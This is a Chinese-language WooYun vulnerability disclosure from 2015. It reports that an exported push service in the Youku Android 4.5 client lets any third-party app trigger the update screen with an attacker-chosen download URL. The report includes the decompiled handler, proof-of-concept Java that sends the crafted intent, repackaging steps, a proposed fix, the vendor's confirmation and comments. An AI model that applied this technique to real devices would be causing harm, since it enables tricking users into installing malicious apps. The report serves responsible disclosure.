当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094635

漏洞标题:优酷Android 4.5客户端升级漏洞

相关厂商:优酷

漏洞作者: MindMac

提交时间:2015-01-29 21:46

修复时间:2015-04-29 21:46

公开时间:2015-04-29 21:46

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-29: 细节已通知厂商并且等待厂商处理中
2015-01-29: 厂商已经确认,细节仅向厂商公开
2015-02-01: 细节向第三方安全合作伙伴开放
2015-03-25: 细节向核心白帽子及相关领域专家公开
2015-04-04: 细节向普通白帽子公开
2015-04-14: 细节向实习白帽子公开
2015-04-29: 细节向公众公开

简要描述:

优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!

详细说明:

组件com.youku.service.push.StartActivityService声明如下:

<service
android:label="Youku Push Notifications StartActivityService"
android:name="com.youku.service.push.StartActivityService"
android:exported="true"
>


可知该组件对外暴露。
该组件对应的代码执行部分如下:

protected void onHandleIntent(Intent intent) {
Intent v0;
String v23;
Serializable pushMsg = intent.getSerializableExtra("PushMsg");
......
AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();
switch(pushMsg.type) {
case 1: {
goto label_53;
}
......
}
......
label_53:
intent.setFlags(876609536);
intent.setClass(this, UpdateActivity.class);
intent.putExtra("updateurl", pushMsg.updateurl);
intent.putExtra("updateversion", pushMsg.updateversion);
intent.putExtra("updatecontent", pushMsg.updatecontent);
intent.putExtra("updateType", 2);
this.startActivity(intent);
return;
......


该组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。

漏洞证明:

该漏洞触发的关键在于对PushMsg数据的控制,基本思路如下:
1.创建一个Android App程序,在主Activity中的关键代码如下:

PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";
pushMsg.updatecontent = "This is Fake";

Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);


其中PushMsg类不需要完整实现,只需要编译通过即可;
2.反编译优酷客户端的App得到smali代码,从中提取出PushMsg.smali;
3.反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
4.安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。

Screenshot_2015-01-29-20-59-56.png


Screenshot_2015-01-29-20-59-29.png


Screenshot_2015-01-29-20-59-41.png


修复方案:

组件不暴露、对升级地址进行判断、对下载的APK文件进行校验!

版权声明:转载请注明来源 MindMac@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-01-29 23:20

厂商回复:

多谢提醒,马上修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-29 21:47 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    从更新入手都搞到移动端了,@内谁过来看看

  2. 2015-01-29 21:49 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    mark,攒起来写drops.

  3. 2015-01-29 21:52 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @瘦蛟舞 师傅不先刷几个再发?

  4. 2015-01-29 21:56 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    @梧桐雨 你的剑就是我的剑

  5. 2015-01-29 23:33 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    这么晚了还在确认漏洞..

  6. 2015-02-03 14:01 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @浩天 Android上的程序比PC更多,某输入法在前台已关闭的情况下,后台服务依然请求更新和上传IMEI信息,利用后,可直接下载运行……

  7. 2015-02-28 13:37 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    不错,这种很给力

  8. 2015-05-01 09:05 | 2Sr ( 路人 | Rank:0 漏洞数:1 )

    6